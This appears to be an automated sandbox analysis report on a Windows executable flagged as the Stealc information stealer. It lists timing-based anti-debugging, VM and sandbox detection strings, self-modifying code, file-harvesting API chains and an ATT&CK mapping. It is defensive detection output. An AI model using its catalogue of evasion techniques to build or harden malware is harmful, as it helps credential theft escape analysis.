Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F52C0 second address: 8F52E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F57D4F134E7h 0x00000009 jl 00007F57D4F134D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F52E1 second address: 8F52E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA68B second address: 8FA692 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA692 second address: 8FA6AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F57D451A1C6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA227 second address: 8FA22F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA22F second address: 8FA233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA233 second address: 8FA23D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F57D4F134D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA361 second address: 8FA368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEED9 second address: 8FEEDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEEDF second address: 8FEEE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEEE3 second address: 8FEEFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D4F134E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90E1AB second address: 90E1AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90E1AF second address: 90E1B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90E1B7 second address: 90E1C9 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F57D451A1BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90E1C9 second address: 90E1CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CA8C second address: 90CAA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jo 00007F57D451A1C2h 0x0000000d jne 00007F57D451A1B6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CAA1 second address: 90CAAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 je 00007F57D4F134D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CAAD second address: 90CAB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CAB1 second address: 90CAB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CAB7 second address: 90CAC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CC61 second address: 90CC65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CC65 second address: 90CC8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F57D451A1C4h 0x0000000e pop ecx 0x0000000f jo 00007F57D451A1C2h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CC8B second address: 90CC91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CF1B second address: 90CF1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90DE72 second address: 90DEA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 jne 00007F57D4F134DCh 0x0000000f jns 00007F57D4F134D6h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F57D4F134DFh 0x0000001d jmp 00007F57D4F134DBh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9141D0 second address: 9141D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91BB80 second address: 91BB8A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F57D4F134DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91BB8A second address: 91BB91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91BB91 second address: 91BBA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F57D4F134D6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92FB43 second address: 92FB47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9323C5 second address: 9323D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9323D2 second address: 9323E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F57D451A1BAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9323E2 second address: 9323E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9323E6 second address: 9323FC instructions: 0x00000000 rdtsc 0x00000002 jo 00007F57D451A1B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F57D451A1B8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93257E second address: 932584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 932584 second address: 9325A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F57D451A1C9h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9325A2 second address: 9325B7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F57D4F134DCh 0x00000008 jnl 00007F57D4F134D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 942175 second address: 9421A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D451A1C8h 0x00000007 jl 00007F57D451A1B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 push edi 0x00000018 pop edi 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9421A2 second address: 9421A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9411AE second address: 9411B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9411B2 second address: 9411CA instructions: 0x00000000 rdtsc 0x00000002 jno 00007F57D4F134D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jno 00007F57D4F134D6h 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9411CA second address: 9411CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9411CE second address: 9411D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941358 second address: 94135D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94135D second address: 941363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941A66 second address: 941A6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941A6C second address: 941A71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 941A71 second address: 941A81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D451A1BBh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94378F second address: 943793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94756C second address: 94758C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F57D451A1B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jne 00007F57D451A1B6h 0x00000011 jnl 00007F57D451A1B6h 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push ecx 0x0000001d pushad 0x0000001e popad 0x0000001f pop ecx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 947AAE second address: 947AF2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 je 00007F57D4F134EAh 0x0000000f jmp 00007F57D4F134E4h 0x00000014 pop ecx 0x00000015 nop 0x00000016 push dword ptr [ebp+122D29EDh] 0x0000001c mov edx, dword ptr [ebp+122D19F6h] 0x00000022 push 2C5B36C4h 0x00000027 push eax 0x00000028 push edx 0x00000029 je 00007F57D4F134DCh 0x0000002f js 00007F57D4F134D6h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94AE88 second address: 94AE92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94AE92 second address: 94AE9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F57D4F134D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94AE9C second address: 94AEC4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jbe 00007F57D451A1B6h 0x0000000d jmp 00007F57D451A1BCh 0x00000012 pop esi 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jns 00007F57D451A1B6h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94AEC4 second address: 94AEC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94AEC8 second address: 94AECE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94AECE second address: 94AED4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94AED4 second address: 94AED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40312 second address: 4D40316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40316 second address: 4D4031C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4031C second address: 4D40358 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 9C86h 0x00000007 mov esi, edi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d jmp 00007F57D4F134E9h 0x00000012 mov ebp, esp 0x00000014 jmp 00007F57D4F134DEh 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40358 second address: 4D40371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F57D451A1C3h 0x00000009 pop esi 0x0000000a popad 0x0000000b rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6C1B93 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6C1ACE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8EE913 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0089171F rdtsc

0_2_0089171F

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004738B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004738B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00474910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00474910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0046DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0046E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00474570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00474570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0046ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0046BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0046DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004616D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004616D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046F68A FindFirstFileA,	0_2_0046F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00473EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00473EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0046F6B0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00461160 GetSystemInfo,ExitProcess,

0_2_00461160

Source: file.exe, file.exe, 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2094357724.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwaree?c
Source: file.exe, 00000000.00000002.2094357724.0000000000EE1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2094357724.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2094357724.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2094357724.0000000000EE1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW*
Source: file.exe, 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13753
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13734
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13731
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13745
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13785

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0089171F rdtsc

0_2_0089171F

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004645C0 VirtualProtect ?,00000004,00000100,00000000

0_2_004645C0

Source: C:\Users\user\Desktop\file.exe

0_2_00479860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00479750 mov eax, dword ptr fs:[00000030h]

0_2_00479750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00477850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00477850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5588, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00479600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00479600

Source: file.exe, 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: iProgram Manager
Source: file.exe	Binary or memory string: iProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00477B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00476920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00476920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00477850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00477850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00477A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00477A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.460000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2052957198.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2094357724.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5588, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.460000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2052957198.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2094357724.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5588, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
